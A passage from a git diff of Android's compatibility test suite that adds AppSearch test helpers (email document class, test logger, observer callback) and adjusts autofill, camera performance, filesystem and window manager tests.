+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch;
+
+import android.annotation.NonNull;
+
+import com.google.common.util.concurrent.ListenableFuture;
+
+import java.io.Closeable;
+import java.util.List;
+
+/**
+ * Encapsulates results of a search operation.
+ *
+ * <p>Each {@link AppSearchSessionShim#search} operation returns a list of {@link SearchResult}
+ * objects, referred to as a "page", limited by the size configured by {@link
+ * SearchSpec.Builder#setResultCountPerPage}.
+ *
+ * <p>To fetch a page of results, call {@link #getNextPageAsync()}.
+ *
+ * <p>All instances of {@link SearchResultsShim} must call {@link SearchResultsShim#close()} after
+ * the results are fetched.
+ *
+ * <p>This class is not thread safe.
+ */
+public interface SearchResultsShim extends Closeable {
+ /**
+ * Retrieves the next page of {@link SearchResult} objects.
+ *
+ * <p>The page size is configured by {@link SearchSpec.Builder#setResultCountPerPage}.
+ *
+ * <p>Continue calling this method to access results until it returns an empty list, signifying
+ * there are no more results.
+ *
+ * @return a {@link ListenableFuture} which resolves to a list of {@link SearchResult} objects.
+ */
+ @NonNull
+ ListenableFuture<List<SearchResult>> getNextPageAsync();
+
+ @Override
+ void close();
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/UnlimitedLimitConfig.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/UnlimitedLimitConfig.java
new file mode 100644
index 00000000000..15a08995a44
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/UnlimitedLimitConfig.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.appsearch.external.localstorage;
+
+
+/**
+ * In Jetpack, AppSearch doesn't enforce artificial limits on number of documents or size of
+ * documents, since the app is the only user of the Icing instance. Icing still enforces a docid
+ * limit of 1M docs.
+ */
+public class UnlimitedLimitConfig implements LimitConfig {
+ @Override
+ public int getMaxDocumentSizeBytes() {
+ return Integer.MAX_VALUE;
+ }
+
+ @Override
+ public int getMaxDocumentCount() {
+ return Integer.MAX_VALUE;
+ }
+
+ @Override
+ public int getMaxSuggestionCount() {
+ return Integer.MAX_VALUE;
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/AppSearchEmail.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/AppSearchEmail.java
new file mode 100644
index 00000000000..c133aa311af
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/AppSearchEmail.java
@@ -0,0 +1,217 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.testutil;
+
+import android.annotation.NonNull;
+import android.annotation.Nullable;
+import android.app.appsearch.AppSearchSchema;
+import android.app.appsearch.AppSearchSchema.PropertyConfig;
+import android.app.appsearch.AppSearchSchema.StringPropertyConfig;
+import android.app.appsearch.GenericDocument;
+import android.app.appsearch.annotation.CanIgnoreReturnValue;
+
+/**
+ * Encapsulates a {@link GenericDocument} that represent an email.
+ *
+ * <p>This class is a higher level implement of {@link GenericDocument}.
+ *
+ * @hide
+ */
+public class AppSearchEmail extends GenericDocument {
+ /** The name of the schema type for {@link AppSearchEmail} documents. */
+ public static final String SCHEMA_TYPE = "builtin:Email";
+
+ private static final String KEY_FROM = "from";
+ private static final String KEY_TO = "to";
+ private static final String KEY_CC = "cc";
+ private static final String KEY_BCC = "bcc";
+ private static final String KEY_SUBJECT = "subject";
+ private static final String KEY_BODY = "body";
+
+ public static final AppSearchSchema SCHEMA =
+ new AppSearchSchema.Builder(SCHEMA_TYPE)
+ .addProperty(
+ new StringPropertyConfig.Builder(KEY_FROM)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .setIndexingType(StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+ .build())
+ .addProperty(
+ new StringPropertyConfig.Builder(KEY_TO)
+ .setCardinality(PropertyConfig.CARDINALITY_REPEATED)
+ .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .setIndexingType(StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+ .build())
+ .addProperty(
+ new StringPropertyConfig.Builder(KEY_CC)
+ .setCardinality(PropertyConfig.CARDINALITY_REPEATED)
+ .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .setIndexingType(StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+ .build())
+ .addProperty(
+ new StringPropertyConfig.Builder(KEY_BCC)
+ .setCardinality(PropertyConfig.CARDINALITY_REPEATED)
+ .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .setIndexingType(StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+ .build())
+ .addProperty(
+ new StringPropertyConfig.Builder(KEY_SUBJECT)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .setIndexingType(StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+ .build())
+ .addProperty(
+ new StringPropertyConfig.Builder(KEY_BODY)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .setIndexingType(StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+ .build())
+ .build();
+
+ /**
+ * Creates a new {@link AppSearchEmail} from the contents of an existing {@link
+ * GenericDocument}.
+ *
+ * @param document The {@link GenericDocument} containing the email content.
+ */
+ public AppSearchEmail(@NonNull GenericDocument document) {
+ super(document);
+ }
+
+ /**
+ * Gets the from address of {@link AppSearchEmail}.
+ *
+ * @return The subject of {@link AppSearchEmail} or {@code null} if it's not been set yet.
+ */
+ @Nullable
+ public String getFrom() {
+ return getPropertyString(KEY_FROM);
+ }
+
+ /**
+ * Gets the destination addresses of {@link AppSearchEmail}.
+ *
+ * @return The destination addresses of {@link AppSearchEmail} or {@code null} if it's not been
+ * set yet.
+ */
+ @Nullable
+ public String[] getTo() {
+ return getPropertyStringArray(KEY_TO);
+ }
+
+ /**
+ * Gets the CC list of {@link AppSearchEmail}.
+ *
+ * @return The CC list of {@link AppSearchEmail} or {@code null} if it's not been set yet.
+ */
+ @Nullable
+ public String[] getCc() {
+ return getPropertyStringArray(KEY_CC);
+ }
+
+ /**
+ * Gets the BCC list of {@link AppSearchEmail}.
+ *
+ * @return The BCC list of {@link AppSearchEmail} or {@code null} if it's not been set yet.
+ */
+ @Nullable
+ public String[] getBcc() {
+ return getPropertyStringArray(KEY_BCC);
+ }
+
+ /**
+ * Gets the subject of {@link AppSearchEmail}.
+ *
+ * @return The value subject of {@link AppSearchEmail} or {@code null} if it's not been set yet.
+ */
+ @Nullable
+ public String getSubject() {
+ return getPropertyString(KEY_SUBJECT);
+ }
+
+ /**
+ * Gets the body of {@link AppSearchEmail}.
+ *
+ * @return The body of {@link AppSearchEmail} or {@code null} if it's not been set yet.
+ */
+ @Nullable
+ public String getBody() {
+ return getPropertyString(KEY_BODY);
+ }
+
+ /** The builder class for {@link AppSearchEmail}. */
+ public static class Builder extends GenericDocument.Builder<Builder> {
+ /**
+ * Creates a new {@link Builder}
+ *
+ * @param namespace The namespace of the Email.
+ * @param id The ID of the Email.
+ */
+ public Builder(@NonNull String namespace, @NonNull String id) {
+ super(namespace, id, SCHEMA_TYPE);
+ }
+
+ /** Sets the from address of {@link AppSearchEmail} */
+ @CanIgnoreReturnValue
+ @NonNull
+ public Builder setFrom(@NonNull String from) {
+ return setPropertyString(KEY_FROM, from);
+ }
+
+ /** Sets the destination address of {@link AppSearchEmail} */
+ @CanIgnoreReturnValue
+ @NonNull
+ public Builder setTo(@NonNull String... to) {
+ return setPropertyString(KEY_TO, to);
+ }
+
+ /** Sets the CC list of {@link AppSearchEmail} */
+ @CanIgnoreReturnValue
+ @NonNull
+ public Builder setCc(@NonNull String... cc) {
+ return setPropertyString(KEY_CC, cc);
+ }
+
+ /** Sets the BCC list of {@link AppSearchEmail} */
+ @CanIgnoreReturnValue
+ @NonNull
+ public Builder setBcc(@NonNull String... bcc) {
+ return setPropertyString(KEY_BCC, bcc);
+ }
+
+ /** Sets the subject of {@link AppSearchEmail} */
+ @CanIgnoreReturnValue
+ @NonNull
+ public Builder setSubject(@NonNull String subject) {
+ return setPropertyString(KEY_SUBJECT, subject);
+ }
+
+ /** Sets the body of {@link AppSearchEmail} */
+ @CanIgnoreReturnValue
+ @NonNull
+ public Builder setBody(@NonNull String body) {
+ return setPropertyString(KEY_BODY, body);
+ }
+
+ /** Builds the {@link AppSearchEmail} object. */
+ @NonNull
+ @Override
+ public AppSearchEmail build() {
+ return new AppSearchEmail(super.build());
+ }
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/AppSearchTestUtils.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/AppSearchTestUtils.java
new file mode 100644
index 00000000000..d0fceb5b076
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/AppSearchTestUtils.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.testutil;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.annotation.NonNull;
+import android.app.appsearch.AppSearchBatchResult;
+import android.app.appsearch.AppSearchSessionShim;
+import android.app.appsearch.GenericDocument;
+import android.app.appsearch.GetByDocumentIdRequest;
+import android.app.appsearch.SearchResult;
+import android.app.appsearch.SearchResultsShim;
+
+import com.android.server.appsearch.external.localstorage.visibilitystore.VisibilityChecker;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.Future;
+
+/**
+ * Class with helper functions for testing for AppSearch.
+ *
+ * @hide
+ */
+public class AppSearchTestUtils {
+ private AppSearchTestUtils() {}
+
+ /** Checks batch result. */
+ @NonNull
+ public static <K, V> AppSearchBatchResult<K, V> checkIsBatchResultSuccess(
+ @NonNull Future<AppSearchBatchResult<K, V>> future) throws Exception {
+ AppSearchBatchResult<K, V> result = future.get();
+ assertWithMessage("AppSearchBatchResult not successful: " + result)
+ .that(result.isSuccess())
+ .isTrue();
+ return result;
+ }
+
+ /** Gets documents from ids. */
+ @NonNull
+ public static List<GenericDocument> doGet(
+ @NonNull AppSearchSessionShim session,
+ @NonNull String namespace,
+ @NonNull String... ids)
+ throws Exception {
+ AppSearchBatchResult<String, GenericDocument> result =
+ checkIsBatchResultSuccess(
+ session.getByDocumentIdAsync(
+ new GetByDocumentIdRequest.Builder(namespace).addIds(ids).build()));
+ assertThat(result.getSuccesses()).hasSize(ids.length);
+ assertThat(result.getFailures()).isEmpty();
+ List<GenericDocument> list = new ArrayList<>(ids.length);
+ for (String id : ids) {
+ list.add(result.getSuccesses().get(id));
+ }
+ return list;
+ }
+
+ /** Gets documents from {@link GetByDocumentIdRequest}. */
+ @NonNull
+ public static List<GenericDocument> doGet(
+ @NonNull AppSearchSessionShim session, @NonNull GetByDocumentIdRequest request)
+ throws Exception {
+ AppSearchBatchResult<String, GenericDocument> result =
+ checkIsBatchResultSuccess(session.getByDocumentIdAsync(request));
+ Set<String> ids = request.getIds();
+ assertThat(result.getSuccesses()).hasSize(ids.size());
+ assertThat(result.getFailures()).isEmpty();
+ List<GenericDocument> list = new ArrayList<>(ids.size());
+ for (String id : ids) {
+ list.add(result.getSuccesses().get(id));
+ }
+ return list;
+ }
+
+ /** Extracts documents from {@link SearchResultsShim}. */
+ @NonNull
+ public static List<GenericDocument> convertSearchResultsToDocuments(
+ @NonNull SearchResultsShim searchResults) throws Exception {
+ List<SearchResult> results = retrieveAllSearchResults(searchResults);
+ List<GenericDocument> documents = new ArrayList<>(results.size());
+ for (SearchResult result : results) {
+ documents.add(result.getGenericDocument());
+ }
+ return documents;
+ }
+
+ /** Extracts all {@link SearchResult} from {@link SearchResultsShim}. */
+ @NonNull
+ public static List<SearchResult> retrieveAllSearchResults(
+ @NonNull SearchResultsShim searchResults) throws Exception {
+ List<SearchResult> page = searchResults.getNextPageAsync().get();
+ List<SearchResult> results = new ArrayList<>();
+ while (!page.isEmpty()) {
+ results.addAll(page);
+ page = searchResults.getNextPageAsync().get();
+ }
+ return results;
+ }
+
+ /**
+ * Creates a mock {@link VisibilityChecker}.
+ *
+ * @param visiblePrefixedSchemas Schema types that are accessible to any caller.
+ * @return
+ */
+ @NonNull
+ public static VisibilityChecker createMockVisibilityChecker(
+ @NonNull Set<String> visiblePrefixedSchemas) {
+ return (callerAccess, packageName, prefixedSchema, visibilityStore) ->
+ visiblePrefixedSchemas.contains(prefixedSchema);
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/SimpleTestLogger.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/SimpleTestLogger.java
new file mode 100644
index 00000000000..0499219c19e
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/SimpleTestLogger.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.testutil;
+
+import android.annotation.NonNull;
+import android.annotation.Nullable;
+import android.app.appsearch.stats.SchemaMigrationStats;
+
+import com.android.server.appsearch.external.localstorage.AppSearchLogger;
+import com.android.server.appsearch.external.localstorage.stats.CallStats;
+import com.android.server.appsearch.external.localstorage.stats.InitializeStats;
+import com.android.server.appsearch.external.localstorage.stats.OptimizeStats;
+import com.android.server.appsearch.external.localstorage.stats.PutDocumentStats;
+import com.android.server.appsearch.external.localstorage.stats.RemoveStats;
+import com.android.server.appsearch.external.localstorage.stats.SearchStats;
+import com.android.server.appsearch.external.localstorage.stats.SetSchemaStats;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Non-thread-safe simple logger implementation for testing.
+ *
+ * @hide
+ */
+public final class SimpleTestLogger implements AppSearchLogger {
+ /** Holds {@link CallStats} after logging. */
+ @Nullable public CallStats mCallStats;
+ /** Holds {@link PutDocumentStats} after logging. */
+ @Nullable public PutDocumentStats mPutDocumentStats;
+ /** Holds {@link InitializeStats} after logging. */
+ @Nullable public InitializeStats mInitializeStats;
+ /** Holds {@link SearchStats} after logging. */
+ @Nullable public SearchStats mSearchStats;
+ /** Holds {@link RemoveStats} after logging. */
+ @Nullable public RemoveStats mRemoveStats;
+ /** Holds {@link OptimizeStats} after logging. */
+ @Nullable public OptimizeStats mOptimizeStats;
+ /** Holds {@link SetSchemaStats} after logging. */
+ @NonNull public List<SetSchemaStats> mSetSchemaStats = new ArrayList<>();
+ /** Holds {@link android.app.appsearch.stats.SchemaMigrationStats} after logging. */
+ @Nullable public SchemaMigrationStats mSchemaMigrationStats;
+
+ @Override
+ public void logStats(@NonNull CallStats stats) {
+ mCallStats = stats;
+ }
+
+ @Override
+ public void logStats(@NonNull PutDocumentStats stats) {
+ mPutDocumentStats = stats;
+ }
+
+ @Override
+ public void logStats(@NonNull InitializeStats stats) {
+ mInitializeStats = stats;
+ }
+
+ @Override
+ public void logStats(@NonNull SearchStats stats) {
+ mSearchStats = stats;
+ }
+
+ @Override
+ public void logStats(@NonNull RemoveStats stats) {
+ mRemoveStats = stats;
+ }
+
+ @Override
+ public void logStats(@NonNull OptimizeStats stats) {
+ mOptimizeStats = stats;
+ }
+
+ @Override
+ public void logStats(@NonNull SetSchemaStats stats) {
+ mSetSchemaStats.add(stats);
+ }
+
+ @Override
+ public void logStats(@NonNull SchemaMigrationStats stats) {
+ mSchemaMigrationStats = stats;
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/TestObserverCallback.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/TestObserverCallback.java
new file mode 100644
index 00000000000..7a4c7b52d85
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/TestObserverCallback.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.testutil;
+
+import android.annotation.NonNull;
+import android.app.appsearch.observer.DocumentChangeInfo;
+import android.app.appsearch.observer.ObserverCallback;
+import android.app.appsearch.observer.SchemaChangeInfo;
+
+import com.android.internal.annotations.GuardedBy;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * An implementation of {@link android.app.appsearch.observer.ObserverCallback} for testing that
+ * caches its notifications in memory.
+ *
+ * <p>You should wait for all notifications to be delivered using {@link #waitForNotificationCount}
+ * before using the public lists to avoid concurrency issues.
+ *
+ * @hide
+ */
+public class TestObserverCallback implements ObserverCallback {
+ private final Object mLock = new Object();
+
+ private final List<SchemaChangeInfo> mSchemaChanges = new ArrayList<>();
+ private final List<DocumentChangeInfo> mDocumentChanges = new ArrayList<>();
+
+ @GuardedBy("mLock")
+ private int mNotificationCountLocked = 0;
+
+ @Override
+ public void onSchemaChanged(@NonNull SchemaChangeInfo changeInfo) {
+ synchronized (mLock) {
+ mSchemaChanges.add(changeInfo);
+ incrementNotificationCountLocked();
+ }
+ }
+
+ @Override
+ public void onDocumentChanged(@NonNull DocumentChangeInfo changeInfo) {
+ synchronized (mLock) {
+ mDocumentChanges.add(changeInfo);
+ incrementNotificationCountLocked();
+ }
+ }
+
+ /**
+ * Waits for the total number of notifications this observer has seen to be equal to {@code
+ * expectedCount}.
+ *
+ * <p>If the number of cumulative received notifications is currently less than {@code
+ * expectedCount}, this method will block.
+ *
+ * @throws IllegalStateException If the current count of received notifications is currently
+ * greater than {@code expectedCount}.
+ */
+ public void waitForNotificationCount(int expectedCount) throws InterruptedException {
+ while (true) {
+ synchronized (mLock) {
+ int actualCount = mNotificationCountLocked;
+ if (actualCount > expectedCount) {
+ throw new IllegalStateException(
+ "Caller was waiting for "
+ + expectedCount
+ + " notifications but there are"
+ + " already "
+ + actualCount
+ + ".\n Schema changes: "
+ + mSchemaChanges
+ + "\n Document changes: "
+ + mDocumentChanges);
+ } else if (actualCount == expectedCount) {
+ return;
+ } else {
+ mLock.wait();
+ }
+ }
+ }
+ }
+
+ /** Gets all schema changes that have been observed so far. */
+ // Note: although these are lists, their order is arbitrary and depends on the order in which
+ // the executor provided to GlobalSearchSessionShim#adObserver dispatches the notifications.
+ // Therefore they are declared as iterables instead of lists, to reduce the risk that they will
+ // be inspected by index.
+ @NonNull
+ public Iterable<SchemaChangeInfo> getSchemaChanges() {
+ return mSchemaChanges;
+ }
+
+ /** Gets all document changes that have been observed so far. */
+ // Note: although these are lists, their order is arbitrary and depends on the order in which
+ // the executor provided to GlobalSearchSessionShim#adObserver dispatches the notifications.
+ // Therefore they are declared as iterables instead of lists, to reduce the risk that they will
+ // be inspected by index.
+ @NonNull
+ public Iterable<DocumentChangeInfo> getDocumentChanges() {
+ return mDocumentChanges;
+ }
+
+ /** Removes all notifications captured by this callback and resets the count to 0. */
+ public void clear() {
+ synchronized (mLock) {
+ mSchemaChanges.clear();
+ mDocumentChanges.clear();
+ mNotificationCountLocked = 0;
+ mLock.notifyAll();
+ }
+ }
+
+ private void incrementNotificationCountLocked() {
+ synchronized (mLock) {
+ mNotificationCountLocked++;
+ mLock.notifyAll();
+ }
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/package-info.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/package-info.java
new file mode 100644
index 00000000000..6b2e1431180
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/package-info.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @hide
+ */
+package android.app.appsearch.testutil;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
index 07cb853e660..9716c001570 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
@@ -137,19 +137,22 @@ public final class AutoFillServiceTestCase {
@Override
protected TestRule getMainTestRule() {
- try {
- // Set orientation as portrait before auto-launch an activity,
- // otherwise some tests might fail due to elements not fitting
- // in, IME orientation, etc...
- // Many tests will hold Activity in afterActivityLaunched() by
- // overriding ActivityRule. If rotating after the activity has
- // started, these tests will keep the old activity. All actions
- // on the wrong activity did not happen as expected.
- getDropdownUiBot().setScreenOrientation(UiBot.PORTRAIT);
- } catch (Exception e) {
- throw new RuntimeException(e);
+ // Don't try to set orientation when device is in half-opened state
+ // The assumeFalse line in @Before would skip the half-opened tests.
+ if(!Helper.isDeviceInState(sContext, Helper.DeviceStateEnum.HALF_FOLDED)) {
+ try {
+ // Set orientation as portrait before auto-launch an activity,
+ // otherwise some tests might fail due to elements not fitting
+ // in, IME orientation, etc...
+ // Many tests will hold Activity in afterActivityLaunched() by
+ // overriding ActivityRule. If rotating after the activity has
+ // started, these tests will keep the old activity. All actions
+ // on the wrong activity did not happen as expected.
+ getDropdownUiBot().setScreenOrientation(UiBot.PORTRAIT);
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
}
-
return getActivityRule();
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginActivityTest.java
index aebb835827b..15fc1ed2af4 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginActivityTest.java
@@ -3072,7 +3072,7 @@ public class LoginActivityTest extends LoginActivityCommonTestCase {
public void testSwitchInputMethod_noNewFillRequest() throws Exception {
// TODO(b/187664861): Find better solution for small display device.
mUiBot.assumeMinimumResolution(500);
-
+ mUiBot.setScreenResolution();
// Set service
enableService();
@@ -3103,5 +3103,6 @@ public class LoginActivityTest extends LoginActivityCommonTestCase {
// No new fill request
sReplier.assertNoUnhandledFillRequests();
+ mUiBot.resetScreenResolution();
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java
index 95a232a0717..e10c9c22072 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java
@@ -246,7 +246,7 @@ public class UiBot {
@Deprecated
// TODO: remove once we're sure no more OEM is getting failure due to screen size
public void setScreenResolution() {
- if (true) {
+ if (false) {
Log.w(TAG, "setScreenResolution(): ignored");
return;
}
@@ -266,7 +266,7 @@ public class UiBot {
@Deprecated
// TODO: remove once we're sure no more OEM is getting failure due to screen size
public void resetScreenResolution() {
- if (true) {
+ if (false) {
Log.w(TAG, "resetScreenResolution(): ignored");
return;
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index 3ac79f928f1..a0cde43900b 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -3583,14 +3583,12 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
}
// H-1-13
- int facing = staticInfo.getLensFacingChecked();
- int numOfPhysicalRgbCameras = getNumberOfRgbPhysicalCameras(facing);
- boolean logicalMultiCameraReqMet =
- (numOfPhysicalRgbCameras <= 1) || staticInfo.isLogicalMultiCamera();
if (isPrimaryRear) {
+ int facing = staticInfo.getLensFacingChecked();
+ int numOfPhysicalRgbCameras = getNumberOfRgbPhysicalCameras(facing);
+ boolean logicalMultiCameraReqMet =
+ (numOfPhysicalRgbCameras <= 1) || staticInfo.isLogicalMultiCamera();
logicalMultiCameraReq.setRearLogicalMultiCameraReqMet(logicalMultiCameraReqMet);
- } else {
- logicalMultiCameraReq.setFrontLogicalMultiCameraReqMet(logicalMultiCameraReqMet);
}
// H-1-14
@@ -3627,7 +3625,6 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_UNKNOWN);
ultrawideZoomRatioReq.setFrontUltraWideZoomRatioReqMet(false);
previewStabilizationReq.setFrontPreviewStabilizationSupported(false);
- logicalMultiCameraReq.setFrontLogicalMultiCameraReqMet(false);
streamUseCaseReq.setFrontStreamUseCaseSupported(false);
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
index 1979805b8dd..ca5d18c5669 100644
--- a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
@@ -984,6 +984,7 @@ public class PerformanceTest {
final int ZOOM_STEPS = 5;
final float ZOOM_ERROR_MARGIN = 0.05f;
final int ZOOM_IN_MIN_IMPROVEMENT_IN_FRAMES = 1;
+ final int MAX_IMPROVEMENT_VARIATION = 2;
for (String id : mTestRule.getCameraIdsUnderTest()) {
StaticMetadata staticMetadata = mTestRule.getAllStaticInfo().get(id);
CameraCharacteristics ch = staticMetadata.getCharacteristics();
@@ -1093,6 +1094,10 @@ public class PerformanceTest {
sequenceId = newSequenceId;
}
+ int variation = Arrays.stream(overrideImprovements).max().getAsInt() -
+ Arrays.stream(overrideImprovements).min().getAsInt();
+ assertTrue(String.format("Zoom latency improvement variation %d is too large",
+ variation), variation <= MAX_IMPROVEMENT_VARIATION);
mReportLog.addValues("Camera zoom ratios", zoomRatios, ResultType.NEUTRAL,
ResultUnit.NONE);
mReportLog.addValues("Latency improvements", overrideImprovements,
diff --git a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
index a4c6454c130..9ce3cbff648 100644
--- a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
@@ -54,7 +54,7 @@ public class SequentialRWTest {
private static final String DIR_SEQ_UPDATE = "SEQ_UPDATE";
private static final String DIR_SEQ_RD = "SEQ_RD";
private static final String REPORT_LOG_NAME = "CtsFileSystemTestCases";
- private static final int BUFFER_SIZE = 10 * 1024 * 1024;
+ private static final int BUFFER_SIZE = 100 * 1024 * 1024;
@Rule
public final TestName mTestName = new TestName();
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index ee157824343..ea2ffa70a76 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -39,9 +39,6 @@
android:requestLegacyExternalStorage="true"
android:enableOnBackInvokedCallback="false"
android:testOnly="true">
